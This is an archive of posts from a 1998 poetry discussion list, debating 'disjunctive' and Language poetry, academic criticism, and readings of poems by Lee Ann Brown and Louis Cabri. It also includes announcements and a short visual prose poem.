"first there is need--then--the way--then the name--then the formula " Reznikoff

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149. **Maria Damon**
Re: Academic exchange value
Tue 4 Aug 1998

---

thanks again, and it's true, i must admit, that the reception of my work if i can be permitted so smug and grandiose a phrase has been very different in the poetry world and in the cult stud world, which has been confusing to me since the reception in the poetry world has been much warmer and more proactive than the cult studs world although i find much of the poetry world's concerns myopic and solipsistic (sp?). still, the po-folks have gotten excited about essays on kaufman and spicer/duncan, whereas in the intro to that book i make a point of saying that the kaufman essay fits most neatly into a dated "man and his work" salvage operation. the cult studs, on the other hand, to the extent that they've been interested at all, have remarked on the material about previously unpublished "naive" poets. while i myself ahve found it more interesting intellectually to write about the latter, the relatively warm response i've received from the poetry community, combined with the way my tenure process straitjacketed me into a "poetry job" (I was ordered to remove from my list of prospective tenure reviewers people who were not primarily scholars of 20th c american poetry in the narrowest sense of the term), has resulted in my gravitating away from the subjects i found of intellectual interest.

At 9:54 AM -0400 8/4/98, David Kellogg wrote:
>On Tue, 4 Aug 1998, Maria Damon wrote:
>
>> thanks david this is exactly the kind of "salvage work" and rhetoric that
>> goes nowhere and one reason i find institutional histories, etc not very
>> inspiring. however, may i suggest that a lot of essays on poets and poetry
>> (like, i hope, my own) dont follow the model you suggest below? kristin
>> ross's writing on rimbaud, watten's ILS piece, michael davidson's recent

>> work on the 50s --all go far beyond championing "underdog" poets.
>
>You're welcome. I agree with you on all these works, including your own;
>but their refusal to fit that mold is one reason, perhaps, why their _own_
>value is sometimes viewed suspiciously by perplexed readers who want the
>same-old-same-old. The effort to carve out a new cultural-poetic critical
>writing is something I'm keenly interested in, as you know (and something
>I view as basically collaborative, including all the above, myself, and
>many others) -- readers' resistance to that critical work is buttressed by
>the dominance of a stale "salvage" model that always-already presents
>itself as novel, even if its form is predictable in its entirety.
>
>> At 3:28 PM -0400 8/3/98, David Kellogg wrote:
>> >No matter who you're talking about, the "academic exhange value" of any
>> >contemporary poetry is assumed to lie in its ability to be _promoted_ in
>> >the critical essay or review. Whether you're writing on John Hollander or
>> >Charles Bernstein, Amy Clampitt or Susan Howe, academic value is
wrenched
>> >out of poetry as a relentless critical project. Pick your own favorite
>> >essay on a poet and see if it matches this rough structure:
>> >
>> >1. Most contemporary poetry is [moribund, pathetic, too academic, not
>> >academic enough, too trendy, not trendy enough, too much form, too
much
>> >content]. [Pages of examples]
>> >
>> >2. The work of [poet's name here], however, bucks this trend. As a
>> >result, [poet's name here]'s work has been ignored. Critics have hitherto
>> >been unable to deal with this poet's [intellect, emotion, epistemology,
>> >sexuality, bad attitude, vocabulary] and have written [poet's name here]
>> >out of the canon. I propose to correct this oversight.
>> >
>> >3. [Pages of counter-examples from the work of the poet]
>> >
>> >4. If only the world would pay attention to [poet's name here], we
>> >would all love poetry. Pity the world doesn't follow my shining
>> >example.
>> >
>> >
>> >----------
>> >
>> >Now THERE'S a bankrupt tradition for you: yet it seems to be viable all

>> >over the place, certainly not restricted to any one wing of the academic
>> >critical establishment.
>> >
>> >Cheers,
>> >David
>>
>~~~

lot (the book The Stone Cottage details this). I don't mean this to be catty - it actually helps me make a larger point, namely, that our either/or approach to arguments about poetic innovation gets in the way any attempt to discuss actual details in the poetic landscape (and vice versa). Though I hate to use myself as an example, I'm a good case in point: my biggest influence as a college student was Robert Cording, a professor at my college and a good poet who most people would consider mainstream/normative, whatever label you might like to apply. Through him I read Keats, Wordsworth, Yeats, Frost, Stevens, Williams, Bishop, Lowell, others. Now, I still read all these poets, though through a somewhat different lens and Bob Cording and I still talk about poetry, including our own, all the time. By most accounts on this list he and I should want to kill each other. But I think our relationship makes perfect sense and that the tensions are productive. Nor does it seem to me anomalous: how else to explain Donald Hall's longtime support of Berrigan, Perelman and others. I don't mean this to be a "why can't we all get along" argument, far from it. But it sure would be nice to argue particulars every once in a while. Why does Donald Hall read Perelman so carefully (as he once told me he did)? Now that would be a question to answer with specifics.

So, now that I've advocated for specifics, I should probably make use of some. I thought I'd post and discuss a couple short poems that appear in the first issue of COMBO, one by Lee Ann Brown, one by Louis Cabri, two "my generation" writers with plenty of experimental pedigree.

Lee Ann's:

"Valentines"

a wide-eyed leaning forward
chewing on the gristle
rolling our eyes
in the heart of the matter
glossy arches
liquid maps

we could use a place
like this in your neighborhood
Eat our vegetables
they'll do a gearbox good

Done details:
Memo
15 of 15
Valentines,
I kiss you
Six million times

plus one
raised to the max higher power
propertius anonymous
I won't give you away
don't put the light on
unless you absolutely have to

There’s so much to like here but the first thing I’d like to point out is that the last thing in the world this poem does is arrogantly break of communication with the reader. There’s even some tried-and-true poetic devices present: the linebreak at "we could use a place," for instance, which broadens the possibilities in the casual sentence, "we could use a place like this in your neighborhood." In that line break I hear Creeley’s insistence that "place is a real event - where you are is a law equal to what you are." As such, "we could use a place /" seems emblematic of a desire for *position* (subject position? positioning which would fuse "your neighborhood" with "my neighborhood"?) which runs counter to the casualness of the sentence as a whole (we could use *any* place like this) and counter to the desire for anonymity highlighted at the poem’s end. I like too the *range* in tone and style, all the different registers: that serious conclusion out of context might be mistaken for Adrienne Rich or someone - but it’s right next to "Six million times / plus one / raised to the max higher power" - this is the language of childhood "I hate you infinity plus one!") without the diminution in value which would generally go along with it - then, too, there’s "rolling our eyes / in the heart of the matter" gnarling two clichés together in a manner which bears comparison not to Rich but to Chris Stroffolino: putting these two clichés together somehow forces the words "eyes" and "heart" out of the world of abstraction and back into talk of the body. Obviously what happens there on the level of poetics (the way Brown very consciously gets this effect) has major ramifications for the poem as a whole, which is largely about bodies: bodies fed, bodies as maps, bodies revealed, bodies concealed. Anonymity is a kind of flexibility but also, potentially, a kind of concealment, and this seems to be one conflict latent in the poem. Anonymity also can suggest the dangers involved in naming, in coming into view: "I won’t give you away" - because if I give you away (reveal who you are, where you are) then I give you away (give you over to the hands of someone else). That one is "given away" in a marriage ceremony seems of potential relevance as well. "liquid maps" jumps out at me: what to do when maps are liquid, a question the poem seems to complexly address.

So, on to the next one, Louis Cabri’s:

from *For Alan Davies*

"Water proof"

How about that, voice.
How about that voice.
How about that choice.

How about that bit.
How about that, hoarse.
How about that drink forgets it.

How about that quartz awhile replaced it.
How about that quart.
How about that habit dressed to spill now.

For instance how about that backyard time.
And that body too eh.
How about that comma rhyme.

I like the tensions set up right from the beginning. The first line evokes a kind of "New American" immediacy (Louis is Canadian): "How about that, voice" - it seems to say, well, what do you know, here we are. But dropping the comma - "How about that voice" - makes the sentence look backward at line 1 and the sense of immediacy is compromised: we're talking - possibly - about a previous voice now. Likewise with the 3rd line where we may be talking about the previous 2. Tonally, I feel like the poem can be read almost as elegy for this reason: each sentence looks back on its predecessor and we drift closer to the past tense: this is mediated by attempts to "replace" and "forget" (attempts which are interestingly couple with more Steinian invention), but is reinforced somewhat by "habit" and put pretty clearly in "How about that backyard time" which wants to be extended into historical narrative - "How about that backyard time when…" The last two lines seem to me to warn against the seductiveness of invention for its own sake: the "comma rhyme"-as-"hot body" a reminder of the masculinist fantasy of "breaking the mold," etc (who called Olson's model "the phallic lung"?)

Anyway, Lee Ann and Louis probably feel like I've butchered them in public by now but, my own misreadings aside, I think the exercise has its point: that these poems, by young poets whose names, if recognized, would be pitched most assuredly into the "disjunctive" school, are actually *highly* readable and pertinent to discussions of societies and langauges on many, many levels. There's much good writing going on in all shapes and sizes.

-m.

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151. Douglas
Re: help w/ djuna barnes
Tue 4 Aug 1998

The Barnes papers are the University of
Maryland, College Park in the Special
Collections. There you will find anything
she'd been working on. There are numerous
poems in that collection, but each has been
written over, crossed out, deleted, revised,
crossed out, written over again, etc. that
it would take a true textual scholar to
come up with anything. And frankly, the
poetry is just not as interesting as her
other works. But then, that's my opinion
about it.

Douglas Messerli

R M Daley wrote:
>
> can anyone help me out with a bit of digging about?- trying to
> find out what happened to the
> work-in-progress found in djuna barnes
> apt when she died? (according to shari benstock, a poem she had been
> working on for thirty years) - or point me in the direction of barnes'
> papers, etc -
>
> or even just carolyn burke's address
>
> thanks
>
> rd

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152. Donald Wellman
Re: saving disjunctive
Tue 4 Aug 1998

I was hedging some hunches in the last part of my post concerning the "disjunctive" surface of the poem. Tom Orange's post has encouraged me to elaborate more on what is on my mind. Both of his examples (lines from Diane Ward and Barrett Watten) create or slide through disjunctions in the language. Disjunctions of desire (which are the other sort of disjunctions that interest me) do not

exist in or mirror language in either case. I suppose I reject the coherence a transparency might suppose. Disjunctions of my desiring might prompt me to narrativize either effect. I could say that Watten provokes a more cinematic response as though each sentence were a frame through which I view a world. If I were to go on about what he has done, I might try to distinguish a super-realism from the easy automatism of surrealism. Surely I will not be longing for one phrase that has the power to cut through my silences. Instead, I will follow the motion, impeded and impelled in my flight by the instinct to read as clues lines that I'd best (it is my hunch) unfold--and they do sustain attention as they unfold.

so i might say that Watten's lines are an example of extensive, serial, and continuously unfolding language, working effectively against my desire for closure, diverging again and again, and thereby compelling my attention. I do still admit to that desire to narrativize. I think Silliman referred to it as the principle of "evisagement" way back in The New Sentence.

Diane's lines are more intriguing to me. I requote two:
"Dark windows in which a list followed by facts us erupt
    chilling comparing."

Now it is possible that the above could fit into a series such as Watten's, but my impulse is not to follow divergent serial possibilities. Issues of subjectivity seem paramount here. I can successfully narrativize an "erupt"-ed subjectivity. I seem to know more fully what this is about. It is some musical dissonance that echoes with my own sense of perhaps seeing myself erupted--compared, chilled, raw. There is no sliding beyond this for me, but a circling back.

I could use a lot of different adjectives to describe the different effects of each passage. I do not think that distinguishing between disjunctions at the level of phrase or sentence is especially helpful. I do think that each writer has knowingly played their language, managed the effect of it so as to catch, frame, stress a pulse and in each case my instinct to narrativize both sustains my attention and also takes something away from my ability to hear.

I hazard that I am hearing a vision, subject to different turmoils and pacing inexorably in the case of Watten's lines. I feel that I am at a recurring and highly sensitive sticking point when I listen to Ward.

don wellman

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153. David Kellogg
yaaay!
Tue 4 Aug 1998

Whenever my 21-month old hears applause on the television or radio, he says "yaaay" and claps. I learn living from him, so I'd like to give a big "yaaay" to Don Wellman and Mike Magee for concretizing the discussion. I found both their posts useful, specific, and helpful, although as I understand it Henry is at least in part calling for a pluralism which I too support, so I'm all with Henry on this point. Yaaay also to Mike Magee for disagreeing with Henry on the smaller point, i.e., Yeats/Pound dichotomy; Stone Cottage is a great book and a similar dichotomy, Pound/ Stevens, as outlined by Marjorie Perloff was roundly critiqued by John Timberman Newcomb in Wallace Stevens and Literary Canons and then later by me, in a quick'n dirty fashion, in my essay on Perloff in Diacritics oh more than a year ago.

Posts like these make the signal/noise ratio on this list worth bearing. Soon I might add signal, but for the moment I remain

Part of the noise,
David
~~~
~~~

> wounds, it is written to protect the molester, it is written by incest
> victims unable to acknowledge the fatal tinkering to which they were
> subject while too green or too conflicted to enjoy their outrage.
>
> I exaggerate? Name me one poet you admire who left Poetry the same as it
> had been before. Poetry that opens my lips and shuts my mouth. Poetry that
> wants me to lie down and let the past roll all over me. And makes me want
> just that.
>
> David

--YEA! THe idea--scuse me while I kiss Ezra Pound--is to make it new--is to continue in a process--or else end up like Andrew Wyeth!

Todd Baron

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155. KENT JOHNSON
Ole!
Tue 4 Aug 1998

This unfolding discussion on the "disjunctive" question is wonderful--one of the best, for me, since I've been on the list. Who are these smart people and where do they come from?

Ole!

(Waiter, please, a little more on the volume and another pack of Turkish ovals...)

And Henry, remember that in the bullfight, if the bull gets the matador, he lives like a king in the fields; if the bull dies and has been brave, he is showered with flowers. The crowd loves its gallant bull.

(Of course, no one is really going to die, which is fantastic!)

Ole!

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156. Rachel Loden
instead of a pineapple
Tue 4 Aug 1998

Bill Luoma wrote:

> *<<But I don't want a pineapple.>>*
>
> *ok Mark D., what do you want?*

One good thing to want (and I wanted it more than a pineapple) is Bill's new book _Works & Days_ (Hard Press/The Figures), a sort of cracked comic memoir.

"It's a big world out there, and thanks to perception management it appears to be getting smaller."

Rachel

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157. **trbell**
Re: H=E=N=R=Y
Tue 4 Aug 1998

I agree with you here, Mark, with a slightly different twist: is not part of the agenda of the dreaded an attempt to add to/modify/detract from the communal language - I know that it is this for me among other intentions. I also know too well that the songs and rhythmic communications by my teenage kids is an attempt in some ways to subvert my establlished place. - perhaps this is why disjunction is often seen as threatening in poetry?

tom bell

At 10:39 PM 8/3/98 PDT, you wrote:
>I disagree. I don't believe language, even in the texts of the dreaded
><Language Poets>, CAN be private property. I believe language is
>inherently communal. This presumption changes how one _reads_ such
>texts-- de-esotericizes them, if you will. Perhaps this, I think
>strange, belief in language as private property in modernist &
>postmodernist writing (since I assume you would probably extend your
>critique not just toward Langpo, but perhaps also to Stein, Zukofsky's
>_"A"_, Un Coup de Des, _Finnegan's Wake_, etc.) explains why you are
>seemingly incapable of reading these texts with pleasure, or without
>annoyance. Whereas someone like me, who doesn't share your belief in
>language as private property in or outside of these writings, IS capable
>of reading these texts as non-esoteric-- as a liberation & a pleasure.
>
>--Mark DuCharme
>
>
>
>Henry Gould wrote:
>
>>On Mon, 3 Aug 1998 10:03:15 -0700 Peter Balestrieri said:
>>>

>>> Henry, I'm trying to follow your argument and I'm wondering if
>you'd
>>> be willing to clarify what you mean by "...the intent was to
>critique
>>> another style of appropriation..." Who was doing the critiquing
>and
>>> what style of appropriation are you referring to? I think you've
>>> raised something important here and I want to be able to better
>>> understand what you're saying. Did you mean that Langpo was
>critiquing
>>> capitalist "appropriation" but only replaced it with another form
>of
>>> appropriation, aesthetic rather than economic? Or am I way off?
>>
>>I think Langpo - hit me, real langpoets out there - was trying to
>>write against the appropriation of poetry by 70s MFA "self" factories,
>>and against the appropriation of literary space by "privacy capital" of
>>all kinds. Their strategy was a drastic one: basically to dynamite the
>>rhetorical/communicative function, the authorial function, and so on by
>>letting "language" - individual words, non-sequiturs, broken syntax &
>>rhetoric - speak (often comically) for itself. I'm suggesting this was
>>a kind of unwitting creation of a new kind of private property - sort
>of
>>prospecting the dictionary. - Henry G.
>>
>
>
>_____
>Get Your Private, Free Email at http://www.hotmail.com
>
>

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158. **trbell**

Re: Writing Poetry in the Age of Media

Tue 4 Aug 1998

Charles, You find me talking before acting as I have not yet come up with a way of translating these things to the printed page (and may never be able to.). The examples here are not the only ones out there as you can see, for example, with a visit to the writings scratchpad: http://www.burningpress.org/wreyeting/

which is well worth a visit by anyone interested in this area. I don't lay claim to be the only one working in this direction in print or hypertext/visual poetry.

In many of the work I have been doing lately (generally a group of linked smaller pieces or pages) the reader can construct their own poem in a variety of ways by the way they traverse the links, layers, and directions. In several areas words and citations are present at times and then covered at other times in the animation. I am currently experimenting with timing issues: words and images appear at different intervals - at times so fast the reader can get frustrated by or enjoy the amount of time the material is there. I have been looking at the Russian Futurists and other visual/collage/ poem-painting stuff and welcome suggestions as to other sources.

Things I currently have in progress are at
http://members.home.net/trbell/motheran.htm
http://members.home.net/trbell/motheran.htm
comments welcome.

My experience constructing these works is here or there in the work. What is your experience reading them this way or that way?

I am involved in a project http://www.acs.ucalgary.ca/~rswillco/PH/ where participants will be able to modify pages and poems done by others and I'm sure it's not theonly one of it's kind - I suspect that the day will come soon when someone can post a poem to let readers make actual changes.

tom bell

At 01:49 AM 8/4/98 -0700, you wrote:
>At 02:07 PM 8/4/98 -0500, you wrote:
>
>When I read what you have posted, I want more explanation of what you mean
>is involved in the reader 'constructing' the poem. I think such an act is
>involved in a lot of work talked about on the list, from Susan Howe to Alan
>Sondheim. So I'm wondering if you have a more specific idea of such
>reader-construction in mind.
>
>
>charles
>
>
>charles
>charles alexander :: poet and book artist :: [redacted]
>chax press :: alexander writing/design/publishing
>books by artists' hands :: web sites built with care and vision
>http://alexwritdespub.com/chax :: http://alexwritdespub.com

>
>

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159. **trbell**
Re: Writing Poetry in the Age of Media
Tue 4 Aug 1998

---

m, I think what yoou say here articulates very well what I may have been struggling with when I said anything about fear or avoidance of the disjunctive (if I did say anything along those lines). Stepping back or away from _conscious_ responsibility raises the discussion to higher ground.

tom bell

At 07:48 AM 8/4/98 -0400, you wrote:
>Donald Wellman writes:
>"It seems to me that if a poem is disjunctive at the level of syntax
>(fragmented syntax) then it will deny the reader an experience of
>closure (the rounding out of musical or mathematical form).
>
>This has always seemed to me the primary source of resistance to
>disjunctive poetries. They prevent the reader from walking away with a
>sense of having got the meaning. They prevent my appropriation of their
>language, of the language.
>
>I think this is essentially true, though I'd want to differ slightly - one
>*can* appropriate the disjunctive poem: it's just that, one can't do it
>unselfconsciously - that is, one can't do it without being painfully aware
>that one has done it: I think must of the discomfort over, say, language
>poetry, stems from this: that readers bred on staid narrative or formalist
>poem do not want any conscious responsibility for the generation of
>meaning, they would rather entertain the fiction that they have "got it" -
>that there can be a transcendental (though also very ordinary) connection
>between a) authorial intention and readerly recption; or b) between
>langauge itself (as deity) and the worshipping reader. The only
>difference, then, between, say, a Perelman poem and a Mary Jo Salter poem
>- so far as reading practice is concerned - is that there is a codified
>set of reading-rules for the latter which aids the reader so-inclined in
>his/her pursuit of that "got it" feeling. In contrast, since Perelman
>"re-instates the vague" as Wm James put it, the reader has a heightened
>awareness of her/his own complicity, and either says, "fuck this" and puts
>the book down, or accepts a more dialogic/antiphonal poetic model. This

>doesn't imply that things don't "mean," just that they mean differently
>along different points in a continuum. -m.
>
>

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160. Susan Schultz
Re: creative writing at the University of Hawai`i
Wed 5 Aug 1998

Dear friends--for the next three years I will be chair of the creative writing program in the English department at UH; because this is not a job I've held before, I'm writing to solicit suggestions from any of you who have held similar positions, within or without the academy. Please feel free to tell me what worked for you and what didn't. How did you deal with the almost inevitable tensions between creative writers and critics? How did you increase interest in experimental writing? (The emphasis here, though we don't have an MFA, has been on MFA type work, and one of the primary fears has been of theory in any of its guises, and this is only one of the stories, since the tensions between local writers and the academy have also been strong.) What did you do to increase interest and activity among graduate students? Undergrads? What sources of money did you find? Any comments are more than welcome.

Let me also say that, even though there is not a lot of money presently to bring writers out here in the current long state-wide recession, that there are local reading series that pay modestly, and there are audiences for poetry (Juliana Spahr and Bill Luoma and Gabe Welford and Steve Carll are now here all the time). The local writing scene is fractious, fascinating, and important to the culture and politics of the entire state and region. If you're on the list and you're going to visit Hawai`i, please let us know. Anyone planning to visit in mid-September should attend the festival of island writing, which will feature many local poets and fiction writers, as well as Kamau Brathwaite, Sia Figel, and others.

Thanks in advance,

Susan Schultz

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161. Hazel Smith
hypermedia piece
Wed 5 Aug 1998

Members of this list might be interested to look at the hypermedia interactive piece "Wordstuffs: the city and the body" created by myself, Roger Dean and Greg White. It consists of text, sound and image and is on the Australian Film Commission website site at www.stuff-art.com.au -(there are also other pieces on this site which might interest you). You will need the Shockwave plug-in for Flash and Director and you will also also need Quicktime and Java. However, if you do not have these, you can download them free of charge from the internet.

Hazel Smith
School of English
University of New South Wales
Sydney 2052

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162. Kathy Lou Schultz
Ahistorical finger pointing
Wed 5 Aug 1998

Mark Prejsnar wrote:

"Yup....As i hope everyone knows by now, the situation of academics has been stomped on so hard, and without sufficient resistence, that they are truly reaching a level of proletarianization....It ain't a figure of speech. (I hasten to add that the lack of sufficient resistence reflects the state of class struggle overall, and isn't the fault especially of folks in academe alone. You might blame developments in the steel and auto industries, in fact, for selling down the river the chance at a strong working class decades ago..Without a true labor movement in society as a whole any one sector is vulnerable)"

Talk about ahistorical finger pointing! Yes, working conditions in the academy are worsening, but it's a load of crap to try to blame this on "developments" in the steel and auto industries. And from your final sentence it seems that you're not blaming "developments," but rather those working class people who could have built a "true labor movement." First of all, wake up! Ever heard of the UPS strike? The organizing was masterful. And what about the 40,000 rank and file construction workers who recently took over midtown Manhattan? These are great examples of the resurgence of the American Labor Movement.

To borrow from an old adage, convenience has bred apathy on the part of college professors for some time. Part-timers and adjuncts are currently leading the charge in organizing on college campuses. Get involved. All workers are

under attack and it's not possible to improve conditions or hold onto past gains without fighting back.

And, you know, this whole "academy" discussion was started by my observations about experimental poetry no longer being "outside" the academy. Interesting that this has spurred such defensiveness on the part of academics. I don't think anyone's point was that academics, or the academy itself, is "bad;" that's simply too reductive, and not the point in any case.

Kathy Lou Schultz

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163. Alan Jennifer Sondheim
what happened from 1809
Wed 5 Aug 1998

-

" - express the mythical identity of one 'Sabeth the Forsaken,' a frustra- ted woman neglected by a lover

"_whose body juices were all spent upon the paper [on which he was writing *Voyage*] the fountain of his sex turned inward; the exploration of her flesh was nothing when compared to the penetration of the vast labyrinth within. The quest for monsters demanded monstrous denial. Thus, she would become 'Sabeth, the Forsaken,' to his friends. Magnificent and futile, she roamed the streets of Montmartre; drank nightly in the bars; let them caress her in his stead. In his presence, even,_"

Ostrovsky, Voyeur Voyant, quoted in Elizabeth and Louis, Elizabeth Craig talks about Louis-Ferdinand Celine, Alphonse Juilland and Nikuko thinking about all of this and how to deal with the magick gothic, high and other- wise, so futile! while she wrytes and writhes away her life spent outward, inversion-M.-Celine, just a moment now! while she raises a drink for a final toast before closing time: a hunger, mysterious impulse, seizes her as she enters these lines into the machinery, skin stretched to the limit, threaded through the maze of world and desire,

just a minute, little Jennifer! reeling back from the force and effort of all of it, turned with flame & fury Towards that Text that placed Itself in the Sky outside the St- Antoine, now so stars and now, and now

```
*          *      something flashes/is flashing
**************      in the moment, little Jennifer thinks
        ****
      ****
```

```
   *****          o pretty pretty picture, all these stars
 ****      *
**************      in the sky spelling such a big-little word!
    ****
  **********
**        *       and someday Jennifer will be upon the sea
*         *      and she will look above the crest of wave
*         *
 ***     ***
   ********
          *      and remember stars and words
        ***
      *******
  *******
  **             and she will be drinking in a bar with a man
   *****          and she will turn to the man
******            she will turn to the man, I remember you
    **
       *** *      and now I remember you
          *      and now I remember you
```

and she will turn, she will turn to the stars
she will turn towards the dark night and the moon

she will turn tricks and planets and she will sing

now I remember you
and now I remember you

I remember now

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164. George Bowering

Re: Shouting Rock and Roll in Prvt. Ryan

Wed 5 Aug 1998

> *I still think they were saying 'lock & load.'*

Sounded to me as if the guy was instructing, "Drop your toad!"

George Bowering.

,

2499 West 37th Ave.,

Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

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165. **Mark DuCharme**
Re: H=E=N=R=Y
Wed 5 Aug 1998

Agreed without hesitation that canonization applies "property rights," as it were, even to Langpo works. Yet I thought you had been talking about the "elitism" or "esotericism," as you would have it, of such texts-- NOT about the social effects of critics' uses of them. Have I misunderstood you? And in any case, how would such a process be substantively different whether the poet is Yeats or Bob Perelman? I don't see how this is relevant in the context of the issues you were raising.

As for language as communal-- well, it is a shared system of signs, isn't it? We could go back & forth on this point from now til the end of time & probably bore the rest on the list to tears.

I'm sorry if I mischaracterized your response to disjunctive poetry (you'll note I tried to be careful to qualify my assertion), but you have to admit you have tried to come off as attacking disjunction-- just as you sign this recent post "your favorite reactionary curmudgeon." I'm sure your stance is more complicated than you can easily represent in a post or two, but you also seem to go out of your way to bait the "pro-disjunctionists" (as if there were such a thing). You can't have it both ways.

"What if postmodern perspectives & techniques do not accomplish the writer's point of view?" Then bully for you, as Frank O'Hara said. I don't see anybody, least of all myself, logging on to the list to tell Henry Gould how he should write a poem. Yet I have to say I feel a little brow-beaten at times if some of the enthusiasms you champion sound boring to me PERSONALLY, in terms of my own practice (not what you or anyone else should like). "But what if coming from the WRITER'S position, these modes of composition are simply NO LONGER INTERESTING? Do not reflect the goals of the writer?" But there isn't just one "the writer"-- maybe this gets back to that "simplistic" communality of language after all. So let's all agree to write just what interests us, okay?-- & know full well that others, doing the same, will be different.

Now what would be so elitist about that?

--Mark (well you asked for a response) DuCharme

Henry Gould wrote:

>On Mon, 3 Aug 1998 22:39:52 PDT Mark DuCharme said:
>>I disagree. I don't believe language, even in the texts of the dreaded
>><Language Poets>, CAN be private property. I believe language is
>>inherently communal. This presumption changes how one _reads_ such
>>texts-- de-esotericizes them, if you will. Perhaps this, I think
>>strange, belief in language as private property in modernist &
>>postmodernist writing (since I assume you would probably extend your
>>critique not just toward Langpo, but perhaps also to Stein, Zukofsky's
>>_"A"_, Un Coup de Des, _Finnegan's Wake_, etc.) explains why you are
>>seemingly incapable of reading these texts with pleasure, or without
>>annoyance. Whereas someone like me, who doesn't share your belief in
>>language as private property in or outside of these writings, IS capable
>>of reading these texts as non-esoteric-- as a liberation & a pleasure.
>
>Well, the property bit could take us into distant realms of abstraction...
>but I guess it seems simplistic to say that language is "inherently
>communal". A big problem for the writer is to find the language that
>CAN be shared in a way that gets across what she or he wants to get
>across. And my point was that the canonizing-publishing process gradually
>applies the same "property effects" to experimental poetry as to the rest.
>
>But this isn't the interesting issue. You're wrong that I'm incapable of
>enjoying innovative or disjunctive work - I think Don Wellman's description
>of his response to some Language poetry was true & close to my own experience
>of it. But several posts have talked about "how to get into disjunctive
>writing" from a sort of reader-response perspective. You have to learn
>to enjoy non-closure, etc. But what if coming from the WRITER'S position,
>these modes of composition are simply NO LONGER INTERESTING? Do not
>reflect the goals of the writer? I think "closure" is a very weak
>descriptor for what the writer is after. What if postmodern

perspectives
>& techniques do not accomplish the writer's point of view? That is
>what interests me about approaches that Yeats (as ONE example) can
>represent, in part: and I'm also talking about the micro levels of
technique
>from a WRITER'S perspective. The idea that a synthetic approach to
>syntax, rhythm & meaning is just a handy way to package McMeaning
>ignores 95% of the fascination of the text or the performance, as far
>as I'm concerned.
>- your favorite reactionary curmudgeon, Henry G.
>

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166. Tom Orange
saving disjunctive
Wed 5 Aug 1998

---

grateful to don wellman and michael magee for (re)posting lines and offering some commentaries. whether this amounts to defending the ramparts of the innovative (henry to michael) vis a vis different (presumably outmoded) paradigms of writing -- nothing that can be fruitfully revisited is outmoded.

don's take on ward's lines (anybody out there got the whole poem?)

> Dark windows in which a list followed by facts us erupt
> chilling comparing

which find subjectivity pertinent here (certainly also in the lee ann brown poem as michael points out), to which i would add epistemolgical concerns as well, how affect confronts kinds of experience. whereas a list need not be factual but rather a paratactic stacking up of items dependent on context for any kind of referential grounding, facts are purportedly verifiable or objective and equally context-dependent, though their status as facts masks that very dependency. these mixed levels of experience erupt us (subjects acted upon, social constructivism) and at the same time we erupt the empirical concatenation (active subjects, semiotic rupture into the symbolic). both are chilling: brute experience and the subject's encounter with it. as is the comparing, of the list and facts (not to mention the dark windows), of experience and rupture.

i think karen mac cormack's lines are working on a similar level, which was why i initially put them together, tho without elaborating, which i will try here (i give the whole stanza):

> The point isn't just to changing points needs it
> overblown more than complex guarantee crescendo exceeds
> advance created appearance covert treatment

we're almost beginning in the midst of a discussion. i'm tempted to hear the 11th thesis on feurbach here, "philosophers have only interpreted the world, the point however is to change it," tho i wouldnt insist on it cuz we're quickly swept in other directions. but i can't stop rethinking that first line because of all the different senses of "point": geometry, space, time, jist, indicator. one (sense of?) point cannot be made to link to or index another because they are always changing. but not just changing. necessarily. is there an index to/of necessity? perhaps the whole project of aligning, connecting points of spatial, experiential, argumentative reference -- call it cognitive mapping -- must, needs be overblown. that is overblown because complex is too euphemistic a way of putting it, to clean and unproblematic. overblown renders the necessity of cognitive mapping as puffed up hollow distorted and untenable as it is. certainly exceeds my attempt here to reign it in. but perhaps parallels a kind of experiential rupture found in ward's lines...

t.

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167. Mark DuCharme
Re: H=E=N=R=Y
Wed 5 Aug 1998

Sure, it's fooling around w/ the transmitter, but I don't think that can undermine language as transmission.

--Mark DuCharme

tom bell wrote:

>I agree with you here, Mark, with a slightly different twist: is not
>part of the agenda of the dreaded an attempt to add to/modify/detract
>from the communal language - I know that it is this for me among other
>intentions. I also know too well that the songs and rhythmic
>communications by my teenage kids is an attempt in some ways to
>subvert my establlished place. - perhaps this is why disjunction
>is often seen as threatening in poetry?
>
>tom bell
>
>At 10:39 PM 8/3/98 PDT, you wrote:
>>I disagree. I don't believe language, even in the texts of the

dreaded
>><Language Poets>, CAN be private property. I believe language is
>>inherently communal. This presumption changes how one _reads_ such
>>texts-- de-esotericizes them, if you will. Perhaps this, I think
>>strange, belief in language as private property in modernist &
>>postmodernist writing (since I assume you would probably extend your
>>critique not just toward Langpo, but perhaps also to Stein, Zukofsky's
>>_"A"_, Un Coup de Des, _Finnegan's Wake_, etc.) explains why you are
>>seemingly incapable of reading these texts with pleasure, or without
>>annoyance. Whereas someone like me, who doesn't share your belief in
>>language as private property in or outside of these writings, IS
capable
>>of reading these texts as non-esoteric-- as a liberation & a pleasure.
>>
>>--Mark DuCharme
>>
>>
>>
>>Henry Gould wrote:
>>
>>>On Mon, 3 Aug 1998 10:03:15 -0700 Peter Balestrieri said:
>>>>
>>>> Henry, I'm trying to follow your argument and I'm wondering if
>>you'd
>>>> be willing to clarify what you mean by "...the intent was to
>>critique
>>>> another style of appropriation..." Who was doing the critiquing
>>and
>>>> what style of appropriation are you referring to? I think
you've
>>>> raised something important here and I want to be able to better
>>>> understand what you're saying. Did you mean that Langpo was
>>critiquing
>>>> capitalist "appropriation" but only replaced it with another
form
>>of
>>>> appropriation, aesthetic rather than economic? Or am I way off?
>>>
>>>I think Langpo - hit me, real langpoets out there - was trying to
>>>write against the appropriation of poetry by 70s MFA "self"
factories,
>>>and against the appropriation of literary space by "privacy capital"

of
>>>all kinds. Their strategy was a drastic one: basically to dynamite
the
>>>rhetorical/communicative function, the authorial function, and so on
by
>>>letting "language" - individual words, non-sequiturs, broken syntax &
>>>rhetoric - speak (often comically) for itself. I'm suggesting this
was
>>>a kind of unwitting creation of a new kind of private property - sort
>>of
>>>prospecting the dictionary. - Henry G.
>>>
>>
>>
>>_____
>>Get Your Private, Free Email at http://www.hotmail.com
>>
>>
>

_____
Get Your Private, Free Email at http://www.hotmail.com

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168. **toddbaron**
Re: creative writing at the University of Hawai`i
Wed 5 Aug 1998

---

susan:

congrats--one thinks--and best of luck.
I would fly to an island of writing
if I could--and your generous announcement
sounds like a promising start to a strong wind!

Bests!

Todd Baron
(ReMap)

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169. **rsillima**
My David O'Bromige
Wed 5 Aug 1998

I first met Bob Hass in Buffalo in 1970 when he was studying with John Logan and I've liked the man (and his work) ever since.

